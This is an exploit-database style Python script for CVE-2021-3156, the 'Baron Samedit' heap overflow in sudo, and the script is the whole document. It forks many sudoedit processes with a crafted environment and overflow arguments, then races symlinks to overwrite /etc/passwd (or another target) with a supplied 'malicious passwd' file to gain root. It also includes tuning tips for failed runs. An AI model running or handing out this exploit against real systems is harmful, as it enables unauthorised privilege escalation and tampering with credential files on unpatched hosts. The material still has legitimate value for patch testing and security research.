1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1) # Date: 2021-02-02 # Exploit Author: West Shepherd # Version: Sudo legacy versions from 1.8.2 to 1.8.31p2, stable versions from 1.9.0 to 1.9.5p1. # Tested on: Ubuntu 20.04.1 LTS Sudo version 1.8.31 # CVE : CVE-2021-3156 # Credit to: Advisory by Baron Samedit of Qualys and Stephen Tong (stong) for the C based exploit code. # Sources: # (1) https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit # (2) https://github.com/stong/CVE-2021-3156 # Requirements: Python3 #!/usr/bin/python3 import os import pwd import time import sys import argparse class Exploit(object): username = '' size = 0 data = '' def __init__(self, source, target, sleep): self.sleep = sleep self.source = source self.target = target @staticmethod def readFile(path): return open(path, 'r').read() @staticmethod def getUser(): return pwd.getpwuid(os.getuid())[0] @staticmethod def getSize(path): return os.stat(path).st_size def main(self): self.username = self.getUser() self.data = self.readFile(self.source) self.size = self.getSize(self.target) environ = { '\n\n\n\n\n': '\n' + self.data, 'SUDO_ASKPASS': '/bin/false', 'LANG': 'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'A': 'A' * 0xffff } for i in range(5000): directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory if os.path.exists(directory): sys.stdout.write('file exists %s\n' % directory) continue child = os.fork() os.environ = environ if child: sys.stdout.write('[+] parent %d \n' % i) sys.stdout.flush() time.sleep(self.sleep) if not os.path.exists(directory): try: os.mkdir(directory, 0o700) os.symlink(self.target, '%s/%s' % (directory, self.username)) os.waitpid(child, 0) except: continue else: sys.stdout.write('[+] child %d \n' % i) sys.stdout.flush() os.setpriority(os.PRIO_PROCESS, 0, 20) os.execve( path='/usr/bin/sudoedit', argv=[ '/usr/bin/sudoedit', '-A', '-s', '\\', overflow ], env=environ ) sys.stdout.write('[!] execve failed\n') sys.stdout.flush() os.abort() break if self.size != self.getSize(self.target): sys.stdout.write('[*] success at iteration %d \n' % i) sys.stdout.flush() break sys.stdout.write(""" \nConsider the following if the exploit fails: \n\t(1) If all directories are owned by root then sleep needs to be decreased. \n\t(2) If they're all owned by you, then sleep needs increased. """) if __name__ == '__main__': parser = argparse.ArgumentParser( add_help=True, description='* Sudo Privilege Escalation / Heap Overflow - CVE-2021-3156 *' ) try: parser.add_argument('-source', action='store', help='Path to malicious "passwd" file to overwrite the target') parser.add_argument('-target', action='store', help='Target file path to be overwritten (default: /etc/passwd)') parser.add_argument('-sleep', action='store', help='Sleep setting for forked processes (default: 0.01 seconds') parser.set_defaults(target='/etc/passwd', sleep='0.01') options = parser.parse_args() if options.source is None: parser.print_help() sys.exit(1) exp = Exploit( source=options.source, target=options.target, sleep=float(options.sleep) ) exp.main() except Exception as err: sys.stderr.write(str(err)) |